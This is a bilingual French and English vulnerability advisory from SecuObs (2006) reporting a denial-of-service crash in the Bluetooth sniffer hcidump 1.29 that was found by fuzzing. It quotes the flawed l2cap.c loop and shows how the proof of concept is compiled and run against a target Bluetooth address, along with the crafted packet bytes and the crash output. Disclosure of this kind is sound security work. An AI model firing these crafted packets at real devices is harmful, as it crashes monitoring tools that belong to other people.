Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.



[Infratech - vulnérabilité] Déni de Service sur hcidump

Par Pierre Betouin, secuobs.com
Le 05/02/2006


Résumé : Une faille de type Déni de Service (DoS) a été identifiée dans l'utilitaire hcidump grâce au fuzzing opéré avec Bluetooth Stack Smasher (BSS). hcidump est l'équivalent Bluetooth d'un outil comme tcpdump.



[Version francaise] - [English version]

Lors de tests réalisés sur différents périphériques Bluetooh avec l'utilitaire de fuzzing Bluetooth Stack Smasher (BSS - lien ), un bug a été trouvé dans hcidump.

La version testée de hcidump est la 1.29. D'autres versions peuvent cependant être également concernées.

Cette faille de type Déni de Service (DoS) permet de faire planter l'application et de rendre impossible les usages par les utilisateurs réguliers.

Le code incriminé est situé dans le fichier source l2cap.

Ce code est le suivant :

------------------------------------------------------------------

while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}

switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);

------------------------------------------------------------------

L'utilisation du code PoC ( lien ) permettant de provoquer le DoS est la suivante :

# gcc -lbluetooth hcidump-crash.c -o hcidump-crash

# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41

# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault



Où 00:80:09:XX:XX:XX est l'adresse Bluetooth de la cible faillible.


Pour plus d'informations sur la sécurité Bluetooth :

[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth lien

[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaires Bluetooth lien

[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques lien

[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations lien

[Dossier Sécurité Bluetooth - partie 5] Scénarios possibles & synthèse lien

[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson lien

[Infratech - vulnérabilité] Déni de Service sur les téléphones portables Sony/Ericsson lien

[Infratech - vulnérabilité] PoC pour le DoS sur hcidump lien

[Infratech - release] BSS - Bluetooth Stack Smasher v0.6 lien


[English version] - [Version francaise]

Currently pentesting several bluetooth devices with Bluetooth Stack Smasher (BSS - lien ), a bug was found in hcidump (tested version : 1.29).

The affected code, located in l2cap.c, is :

------------------------------------------------------------------

while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}

switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);

------------------------------------------------------------------


PoC usage ( lien ) is :

# gcc -lbluetooth hcidump-crash.c -o hcidump-crash

# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41

# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault


Where 00:80:09:XX:XX:XX is the bluetooth address of the target.